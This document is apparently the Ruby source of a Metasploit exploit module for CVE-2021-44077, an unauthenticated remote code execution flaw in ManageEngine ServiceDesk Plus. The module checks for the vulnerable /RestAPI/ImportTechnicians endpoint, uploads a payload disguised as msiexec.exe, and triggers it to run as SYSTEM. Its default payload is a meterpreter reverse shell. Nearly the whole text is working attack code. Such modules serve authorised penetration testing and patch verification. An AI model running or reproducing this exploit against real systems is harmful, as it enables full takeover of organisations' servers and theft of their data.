# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ServiceDesk Plus CVE-2021-44077',
'Description' => %q{
This module exploits CVE-2021-44077, an unauthenticated remote
code
execution vulnerability in ManageEngine ServiceDesk Plus, to upload
an
EXE (msiexec.exe) and execute it as the SYSTEM account.
Note that build 11305 is vulnerable to the authentication bypass
but
not the file upload. The module will check for an exploitable
build.
},
'Author' => [
# Discovered by unknown threat actors
'wvu', # Analysis and exploit
'Y4er' # Additional confirmation
],
'References' => [
['CVE', '2021-44077'],
['URL',
'https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-authentication-bypass-vulnerability-in-servicedesk-plus-versions-11138-and-above'],
['URL',
'https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-for-cve-2021-44077-unauthenticated-rce-vulnerability-in-servicedesk-plus-versions-up-to-11305-22-11-2021'],
['URL', 'https://www.cisa.gov/uscert/ncas/alerts/aa21-336a'],
['URL',
'https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/'],
['URL',
'https://attackerkb.com/topics/qv2aD8YfMN/cve-2021-44077/rapid7-analysis'],
['URL', 'https://xz.aliyun.com/t/10631'] # Y4er's writeup
],
'DisclosureDate' => '2021-09-16',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Windows Dropper', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8080,
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,
'/RestAPI/ImportTechnicians')
)
unless res
return CheckCode::Unknown('Target failed to respond to check.')
end
# NOTE: /RestAPI/ImportTechnicians was removed after build
11303
unless res.code == 200 &&
res.get_html_document.at('//form[@name="ImportTechnicians"]')
return CheckCode::Safe('/RestAPI/ImportTechnicians is not
present.')
end
CheckCode::Appears('/RestAPI/ImportTechnicians is present.')
end
def exploit
upload_msiexec
execute_msiexec
end
def upload_msiexec
print_status('Uploading msiexec.exe')
form = Rex::MIME::Message.new
form.add_part(Faker::Hacker.verb, nil, nil, 'form-data;
name="step"')
form.add_part(generate_payload_exe, 'application/octet-stream',
'binary',
'form-data; name="theFile"; filename="msiexec.exe"')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/RestAPI/ImportTechnicians'),
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'data' => form.to_s
)
unless res&.code == 401 &&
res.body.include?('sdp.vulnerability.exceptionerror.title')
fail_with(Failure::NotVulnerable, 'Failed to upload
msiexec.exe')
end
print_good('Successfully uploaded msiexec.exe')
end
def execute_msiexec
print_status('Executing msiexec.exe')
# This endpoint "won't" return
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/RestAPI/s247action'),
'vars_post' => {
'execute' => 's247AgentInstallationProcess'
}
}, 0)
end
# XXX: FileDropper dies a miserable death if the file is in
use
def on_new_session(_session)
super
# Working directory is C:\Program
Files\ManageEngine\ServiceDesk\site24x7
print_warning("Yo, don't forget to clean up
..\\bin\\msiexec.exe")
end
end

